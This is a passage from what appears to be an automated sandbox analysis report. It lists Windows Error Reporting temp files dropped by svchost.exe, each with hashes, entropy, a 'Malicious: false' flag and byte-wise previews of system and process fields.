Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB595.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6962207912128178
Encrypted:	false
SSDEEP:	96:TiZYWxUbrsZ3KYtYbQaniH8YEZQf9tFikMlKSJwageFqfaJnqMHAYBIDeh:2ZDx90KrwWaJnqMgY+Deh
MD5:	A89A8926E0117008BCD7DB7A6AF337AB
SHA1:	CDE5158E62EBE38F1E83AD0718B3D69159EAB52C
SHA-256:	A8E753D11CC1342A90C8E61AA5F139A2A1F836C4E798445EA35BAE4F15D3F562
SHA-512:	35DF93353EEC8378BC68D920850207991CCF852A99594FDAF42519271FB48A9548A281E16A3221AEC840F6B73109D5BB6CA095060CD99B6370C3F8E7F8055D97
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB94.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6982756850787575
Encrypted:	false
SSDEEP:	96:TiZYWKovDoYoYW/BhQptH/YEZuCLtFiA+BShwfWjLHaMnwMYYwIWe2:2ZDGPvlC0QaMnwMYYHWe2
MD5:	516424836275A4BB0B09A7BB5F1FEFFA
SHA1:	B1ED95B7023F5BC73AD2EBD9A6248BA0635359F0
SHA-256:	D0DF281309E7E744E21467FEDC6E374ED4B2ACA87556CC956FC80302880A61CE
SHA-512:	5338D754B096A7FDAF651BD6618940B0B490AD2B522DA191441191E7C2E5283BBB1F2F4004A03D78753F07CBDD4604FFE3E35F601B31027D856AC8FB0C876B99
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB9EC.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97652
Entropy (8bit):	3.068428961935902
Encrypted:	false
SSDEEP:	1536:hn4/i1DODfzVcieVbpB7+RY05+Zj/ICMqo+7oVCO/3a++Qm/dX:hn4/i1DODfzVcieVbpB7+RY05+Zj/ICr
MD5:	8D50EEA9DC200E206B5FAE8C48904F85
SHA1:	3920C3133BA2FD98C2930D8B98E61620CCDFF3DE
SHA-256:	57F4F94BD6186F92254D2125590EF2A723568C6957FE7F06025A3AE7E2956EF2
SHA-512:	F3B21156BBBA344FE0A797353103BE176C7FB8EC829B6A2E5061FE849AC38612CBE16A70759739969A3DAEC8ECB020995765BC9B475FDF48FC6C4CEFA67B5E84
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBA3B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97666
Entropy (8bit):	3.068679753752887
Encrypted:	false
SSDEEP:	1536:7/voi1DvDfzVcieVbOT7+RY05+Zj/ICMJoO7oVC3pNa7yyXUzcXE:7/voi1DvDfzVcieVbOT7+RY05+Zj/ICO
MD5:	D98EA4000588535969CF80398A614887
SHA1:	3C357CD8FA4E157EE5F31BAC03397DE18ECDD5DA
SHA-256:	728B9671653B1E80ABCEE1169251969C72574BF37B846F27D9A6C3BB0E104070
SHA-512:	19E38D894ADE91DDDA9E207A14A6827A70C73D095978ED43DB250A79723C26C81CA2548686D4FC404AE99A8D034047C5226BA536CA16060A8B81C4765B9C37D0
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBAA9.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97686
Entropy (8bit):	3.068834926465947
Encrypted:	false
SSDEEP:	1536:D4jxzi1DGDfzVcieVbAP7+RY05+Zj/ICMxos7oVC3Iad/ts8cr:D4jxzi1DGDfzVcieVbAP7+RY05+Zj/IQ
MD5:	583EEEBD1480074D22D89CE7969A9CF2
SHA1:	902DCFADD14A063ABFD90E2E1B712094A04A2891
SHA-256:	3AD2F1DCB21B2AD3498A36FD103B88A2DF8F9C8AD742B909634874AAE3CAAEC5
SHA-512:	6A557CAE94CC3A1EB892A137F9F30E065CEA1B6C0D7D6F64D92B110C4365A8B13ABEC6D87EBC1E953FCF1E7792575D75973B738548082A0E50EC57CD6883998E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC31.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97782
Entropy (8bit):	3.0687430216001412
Encrypted:	false
SSDEEP:	1536:k6tziZmQ2DfzxiZmbeP7+RY05+Zj/ICMKoU7oVCz/Naa9HvvtW78AUn:k6tziZmQ2DfzxiZmbeP7+RY05+Zj/IC1
MD5:	EB483A1BC861545E1D8961F273CF5DE2
SHA1:	8FC8D4FD518CE61BE4827A680DE5DF49DA0F41FA
SHA-256:	A5CD61006EF7EA75DD425CA7D88E5EDBC04EA01D616D886C5A842055A5B3A308
SHA-512:	3D14EAC512E28FCB9E5B30531F0F4AC392848EDBDEF8FB2FE031FC7BAFAC2490534CEB19BA3D1E4FDE5C9F3433C839B3A46E1303BB320A5BD75F8A5534D5484A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC61.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6971613075782366
Encrypted:	false
SSDEEP:	96:TiZYWQjPMnqYZYAhdRaCHAYYEZtN9tFiHMKScwHgepBU+BaiM22nbMgY3IITeO:2ZDi+/NHf1aianbMgY3vTeO
MD5:	EFC06E0131F64C9004E6EEA384532B14
SHA1:	E0BDD6897AC9EBF4BECC82FA7391FF991366FD73
SHA-256:	6ECD6C7509FA637760C4AEE4A8A081B6061FC54F370DFD1CC7D531BA8134E492
SHA-512:	A0563EA2F1C3909E19E621D8F98E37D53A296F48E5E9FC8FAFCEB48518FA572BAED8CBD1A2F82A5B9D01A1DC955351E191AABEB4E8057C4146C5204FA7E17047
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC71.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6972146188256736
Encrypted:	false
SSDEEP:	96:TiZYWrjPVrgYmY7RY3HAYYEZOrtFiRMKScwnge4U5BaPnOMkaY3WINeO:2ZDGxe340aPnOMkaY3RNeO
MD5:	FB62F14EF37C209313AAFE916CA28447
SHA1:	C9BC5BAE1C5684E01DF082CF1A4431DEC05311C7
SHA-256:	E04D66AAC0532BD5637160EDA9DB93E2F55267E8EF6648D29DE47BDFF4648C35
SHA-512:	2F7D1D36EFEEC8B2DEA63BAFD791D0BCC577BAC52EE462AE351D2AE80E70412556CB559582411B92C48CE29FDBDE5EA68A97239AF852A3FD5BE9162EE05078EB
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBCC0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6968672356482677
Encrypted:	false
SSDEEP:	96:TiZYWwjP568Y1Y9rRNf2HAYYEZjxtFiZMFScwdge2UdYZ5aenpMUfY3wIzeO:2ZDKiQCW2RXaenpM0Y3HzeO
MD5:	5763C549AE657688B6EFA5B0D16A8C76
SHA1:	3B7547D02788FDD46B44018B481FFC4D07430FD0
SHA-256:	4EEE191019223BD53676CB5E6370E81CB85939EBFA3D0E9B4E7611E8246FE0FF
SHA-512:	5F7ABA38A1A17C8D1312ECF6C996E0D127D531306067570E911253AB7158BDD67A49B9CF19F0281D265E58DCD7320D1A38487F2299AE702727EF371DFE0BF5CD
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC0B9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696239391799217
Encrypted:	false
SSDEEP:	96:TiZYW7lNmihNyY6YXd7pHsYEZOJtFiLMBSswxe0jPgatn5MkYGlIP0eR:2ZD7idix00atn5MkYG6MeR
MD5:	D3CF52189154D447CF54EB87294EA45C
SHA1:	5329FF93E647FD86CF24C02360FF3F036B07E695
SHA-256:	B3AF0051CB6BFC962AA2C3A49CF92C6775FA5E416226A10753C7ADA55B9877E6
SHA-512:	4C930B2F53EB47DDC45442B952B0948CDF88429E22CC604D3E169F4DB604BFDF08D165E6F04F9E876F75D098B3504D1623DA90DCAF5DFE8FB85EA9A66B84FB0A
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC483.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97504
Entropy (8bit):	3.068547374854383
Encrypted:	false
SSDEEP:	1536:ZlIrhmQbDfJsitmyl7+RY05+Zj/ICM6oR7oVFp9DTyWzvvYiD0pGg:ZlIrhmQbDfJsitmyl7+RY05+Zj/ICM6c
MD5:	501F7E6F18AF1BCEC45EFA8F63A7BEB7
SHA1:	3ED41F34BC4570103B618C40F55D00F064EBFE1E
SHA-256:	B438F6CA19D929EC625584CDEF273F4828E7A9AA258A825ACDD6A016D7939AE3
SHA-512:	CEA81BFF99C3FC2C55F06DC187238F2319792213FA9707E6533252E3D10524EA2922F08C278144F7430D249656F3D251F5863B7E46AB80DB0435FE79A4E6E1A8
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC61A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97660
Entropy (8bit):	3.0693065429425084
